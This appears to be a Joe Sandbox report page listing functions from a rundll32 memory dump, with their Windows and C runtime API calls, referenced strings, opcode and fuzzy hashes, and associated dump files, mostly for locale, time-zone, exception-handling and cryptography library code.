Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fca3299b8cf7fbbd20d43ce22454214233a71175644c2815d14feeb0f641ec28
Instruction ID: 4c4e7f7d3d7f5f624af66e66919b06de371d3f18c664175341d8f149ffef7fb8
Opcode Fuzzy Hash: fca3299b8cf7fbbd20d43ce22454214233a71175644c2815d14feeb0f641ec28
Instruction Fuzzy Hash: 01C1B362B1E64795EB60AB259460BBD77A0FB81B94F448131DA6E0F3F9CF7CE4548B00

Function 00007FFDFB6C0378 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFDFB6B2370: GetLastError.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B237F
Part of subcall function 00007FFDFB6B2370: FlsGetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B2394
Part of subcall function 00007FFDFB6B2370: SetLastError.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B241F

TranslateName.LIBCMT ref: 00007FFDFB6C03E5
TranslateName.LIBCMT ref: 00007FFDFB6C0420
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FFDFB6B2EF4), ref: 00007FFDFB6C0465
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FFDFB6B2EF4), ref: 00007FFDFB6C048D

Strings

utf8, xrefs: 00007FFDFB6C0571

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue
String ID: utf8
API String ID: 1791977518-905460609
Opcode ID: fa9ae27d82d15355900bd820e05999ce43bc7408b8f28fc72c92195f7bbf8b99
Instruction ID: 130dcc8cc3a8f23040ee19a1c9818e9384c54f23a053477fb4bde37818595d25
Opcode Fuzzy Hash: fa9ae27d82d15355900bd820e05999ce43bc7408b8f28fc72c92195f7bbf8b99
Instruction Fuzzy Hash: D5919F72B0A74386EB24AF21D561AB923A4EB84B81F548131DA6C4B7EDDF3CE951C740

Function 00007FFDFB6C0DAC Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFDFB6B2370: GetLastError.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B237F
Part of subcall function 00007FFDFB6B2370: FlsGetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B2394
Part of subcall function 00007FFDFB6B2370: SetLastError.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B241F

Part of subcall function 00007FFDFB6B2370: FlsSetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B23B5
Part of subcall function 00007FFDFB6B2370: FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F), ref: 00007FFDFB6B2455

GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FFDFB6C0F1C

Part of subcall function 00007FFDFB6B2370: FlsSetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B23E2
Part of subcall function 00007FFDFB6B2370: FlsSetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B23F3
Part of subcall function 00007FFDFB6B2370: FlsSetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B2404
Part of subcall function 00007FFDFB6B2370: FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F), ref: 00007FFDFB6B2474
Part of subcall function 00007FFDFB6B2370: FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F), ref: 00007FFDFB6B249C

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FFDFB6B2EED), ref: 00007FFDFB6C0F03
ProcessCodePage.LIBCMT ref: 00007FFDFB6C0F46
IsValidCodePage.KERNEL32 ref: 00007FFDFB6C0F58
IsValidLocale.KERNEL32 ref: 00007FFDFB6C0F6E
GetLocaleInfoW.KERNEL32 ref: 00007FFDFB6C0FCA
GetLocaleInfoW.KERNEL32 ref: 00007FFDFB6C0FE6

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: e48d9b78658ee33df2f320fdcedf8b2e127133ec4db40e029de31af9f9b9687c
Instruction ID: 9d57fa8268d8cb0e488290f6c6d939b98f7bacdc2cdaf6e012516533d5c7b717
Opcode Fuzzy Hash: e48d9b78658ee33df2f320fdcedf8b2e127133ec4db40e029de31af9f9b9687c
Instruction Fuzzy Hash: AC714AA2B0A65389EB50AB60D461EB833A0AF48B46F444435CE2D5B6E9EF3CE845C750

Function 00007FFDFB6BC29C Relevance: 9.3, APIs: 6, Instructions: 335timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FFDFB6BC2E1

Part of subcall function 00007FFDFB6BC128: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6BC13C

Part of subcall function 00007FFDFB6B3FD8: HeapFree.KERNEL32 ref: 00007FFDFB6B3FEE
Part of subcall function 00007FFDFB6B3FD8: GetLastError.KERNEL32 ref: 00007FFDFB6B3FF8

Part of subcall function 00007FFDFB69DA18: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FFDFB69D9C6,?,?,?,?,?,00007FFDFB69D8AE), ref: 00007FFDFB69DA21
Part of subcall function 00007FFDFB69DA18: GetCurrentProcess.KERNEL32(?,?,?,?,00007FFDFB69D9C6,?,?,?,?,?,00007FFDFB69D8AE), ref: 00007FFDFB69DA46

Part of subcall function 00007FFDFB6B92BC: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6B9207

_get_daylight.LIBCMT ref: 00007FFDFB6BC2D0

Part of subcall function 00007FFDFB6BC188: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6BC19C

_get_daylight.LIBCMT ref: 00007FFDFB6BC546
_get_daylight.LIBCMT ref: 00007FFDFB6BC557
_get_daylight.LIBCMT ref: 00007FFDFB6BC568
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FFDFB6BC7A8), ref: 00007FFDFB6BC58F

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 48b04fc4e706013f52029fd27075234385d3b94811078661632a524d1c4dc0d1
Instruction ID: 7f3743be4175d68f0102913c5d49208e27298d17b1ca0fd8d4dcc3f8e9e2a046
Opcode Fuzzy Hash: 48b04fc4e706013f52029fd27075234385d3b94811078661632a524d1c4dc0d1
Instruction Fuzzy Hash: F1D1CF26F1A24346E724EF25D8609B977A1FF84784F448036EA6D4BAE9DF3CE541CB40

Function 00007FFDFB61B600 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 477COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61B9DC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61B9E2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61B9E8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61BC93

Part of subcall function 00007FFDFB6A37E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6A380F

Part of subcall function 00007FFDFB6A49B4: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6A49D8

Strings

bad conversion, xrefs: 00007FFDFB61B9CF

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$_invalid_parameter_noinfo
String ID: bad conversion
API String ID: 1283921372-2629740042
Opcode ID: d7108c9fd3f3eae327e2ad39caaeb313c0becff73eee6c0ad47d7c264bb27389
Instruction ID: cc0a05724fc6a1f524b76a9e8de6d9bf84c2bb2c2b2defad3a682a095aa72077
Opcode Fuzzy Hash: d7108c9fd3f3eae327e2ad39caaeb313c0becff73eee6c0ad47d7c264bb27389
Instruction Fuzzy Hash: 2412C226B0AB4699EB10CF65D0606AC2371FB48B98F586632DF6D5BBE9DF38D445C300

Function 00007FFDFB69D6F8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFDFB69D771
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFDFB69D789
RtlVirtualUnwind.KERNEL32 ref: 00007FFDFB69D7C4
IsDebuggerPresent.KERNEL32 ref: 00007FFDFB69D7FD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFDFB69D807
UnhandledExceptionFilter.KERNEL32 ref: 00007FFDFB69D812

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: aa0a8be8819b54d2a3eac02fbefe24fa9762435ce92383232d8fc74cfd6bfdef
Instruction ID: 5e496a8e3a1b3e0ab55bad5e93cd6f7bd6f42641fdb1ba58067cf54bd15ac91d
Opcode Fuzzy Hash: aa0a8be8819b54d2a3eac02fbefe24fa9762435ce92383232d8fc74cfd6bfdef
Instruction Fuzzy Hash: 6D318236719F8286D720DF28E8506BE73A4FB88798F540135EAAD47BA9DF3CC5458B40

Function 00007FFDFB66980C Relevance: 8.3, APIs: 2, Strings: 2, Instructions: 1327COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB650E20: std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB650E35
Part of subcall function 00007FFDFB650E20: std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB650E5A
Part of subcall function 00007FFDFB650E20: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB650E84
Part of subcall function 00007FFDFB650E20: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB650F15

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66A92D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66A933

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00007FFDFB669931, 00007FFDFB669DD4, 00007FFDFB66A143, 00007FFDFB66A3ED, 00007FFDFB66A839
$, xrefs: 00007FFDFB669C86

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~__invalid_parameter_noinfo_noreturn
String ID: $$0123456789ABCDEFabcdef-+XxPp
API String ID: 4156930308-3344005635
Opcode ID: 2b6b0fbac14198fc29a159694af515e7d46f61195f1b3ad6fdc632581b94df49
Instruction ID: 80c7093d47c569400d5376c3234d33d11129b51255d46246027b027dfd9dc4f3
Opcode Fuzzy Hash: 2b6b0fbac14198fc29a159694af515e7d46f61195f1b3ad6fdc632581b94df49
Instruction Fuzzy Hash: 1CD25C22B0AA8689EB558F19C16067C3762EB45B84F549031DE6E4F7F9CF3DE866D300

Function 00007FFDFB64E450 Relevance: 8.0, APIs: 2, Strings: 2, Instructions: 970COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB64EC75
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB64EC7B

Strings

p, xrefs: 00007FFDFB64E67F
p, xrefs: 00007FFDFB64EED2

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: p$p
API String ID: 73155330-173875672
Opcode ID: 2e6cf52409946113df5157140734faf8e151eb92660e4b561242468b842fd2c0
Instruction ID: f56dbb8da81f5fc17d9c7d05e016ab6061836c5ce560eb0524bcc77c4f46d332
Opcode Fuzzy Hash: 2e6cf52409946113df5157140734faf8e151eb92660e4b561242468b842fd2c0
Instruction Fuzzy Hash: 2C82CF72B0AA82C6EB18CB25D1606BD67A1FB85BC4F144035EE5E4BBE9DF38E555C300

Function 00007FFDFB6ACC00 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 329COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FFDFB6ACC6A
memcpy_s.LIBCPMT ref: 00007FFDFB6ACC95

Strings

, xrefs: 00007FFDFB6ACDC8

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-3916222277
Opcode ID: e651cfc954b10ab2e73076095242a98f58bd3bb75f7a4954a277f9f35aa0372f
Instruction ID: 67e88616377b1da42cba8b012c2c9ff8b13a4348aade57a4a9e1cb83f677af47
Opcode Fuzzy Hash: e651cfc954b10ab2e73076095242a98f58bd3bb75f7a4954a277f9f35aa0372f
Instruction Fuzzy Hash: 43C1F772B1A68787DB20CF19E058E6AB795F784784F048135DB5A5FB98DB3CE801CB00

Function 00007FFDFB647520 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB647610: CryptReleaseContext.ADVAPI32 ref: 00007FFDFB647687

CryptGenRandom.ADVAPI32 ref: 00007FFDFB647571
SetLastError.KERNEL32 ref: 00007FFDFB6475A1

Strings

CryptGenRandom, xrefs: 00007FFDFB6475DA
GenerateBlock size, xrefs: 00007FFDFB6475A7

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Crypt$ContextErrorLastRandomRelease
String ID: CryptGenRandom$GenerateBlock size
API String ID: 1844085427-2412749496
Opcode ID: 88e9c660ee5efeaa0f20dace26ea66fe17bcd9b99fbcd07b0402e64334bcd184
Instruction ID: 67589593a346ef58307d909ad3420c877d907628d50bd5ea8ef4992388505432
Opcode Fuzzy Hash: 88e9c660ee5efeaa0f20dace26ea66fe17bcd9b99fbcd07b0402e64334bcd184
Instruction Fuzzy Hash: FB21906170A94792EF249B60E8B0BBAA361EFD4384F885031D16D4F5FDEE6CE649C700

Function 00007FFDFB625670 Relevance: 6.7, Strings: 5, Instructions: 480COMMON

Download Yara Rule

Strings

SubgroupOrder, xrefs: 00007FFDFB6256FC, 00007FFDFB62571A, 00007FFDFB625798, 00007FFDFB625973
SubgroupGenerator, xrefs: 00007FFDFB625821, 00007FFDFB62583F, 00007FFDFB6258AE, 00007FFDFB625930
ThisObject:, xrefs: 00007FFDFB64C644, 00007FFDFB64C662, 00007FFDFB64C6EF
GroupOID, xrefs: 00007FFDFB64C562
Curve, xrefs: 00007FFDFB64C759, 00007FFDFB64C816, 00007FFDFB64C91D

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID: Curve$GroupOID$SubgroupGenerator$SubgroupOrder$ThisObject:
API String ID: 0-3671777949
Opcode ID: 8cbc8d1ee7461f4ef3264c7628c0a42d403f03dbd8139eb4e7ec884bab6a0027
Instruction ID: 1cd03bbf815093ccdd6c35df4299b84deec07a931a09dfcd286dd1f9bbc215c2
Opcode Fuzzy Hash: 8cbc8d1ee7461f4ef3264c7628c0a42d403f03dbd8139eb4e7ec884bab6a0027
Instruction Fuzzy Hash: 0F22AC62B1AA8791EF14DB15D460BB96761FB44B84F848032DA6E0BBF9EF6CE145C300

Function 00007FFDFB67106C Relevance: 6.6, APIs: 4, Instructions: 650COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB671503
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB671509
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6719A7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6719AD

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 0616d6f99ff9c0a3af7a817f89ab112268d6dfdad4f4528dc632af89e79f1e79
Instruction ID: 295d3fd75439e3720ac32726719cfbf4f38ea6b4b5e45eca4fcce2a87f7306d4
Opcode Fuzzy Hash: 0616d6f99ff9c0a3af7a817f89ab112268d6dfdad4f4528dc632af89e79f1e79
Instruction Fuzzy Hash: A4527163B1AB4685FB00DB65D460AAC7371FB48B88B508136DE6D1BBE9DF38D55AC300

Function 00007FFDFB668700 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1276COMMON

Download Yara Rule

Strings

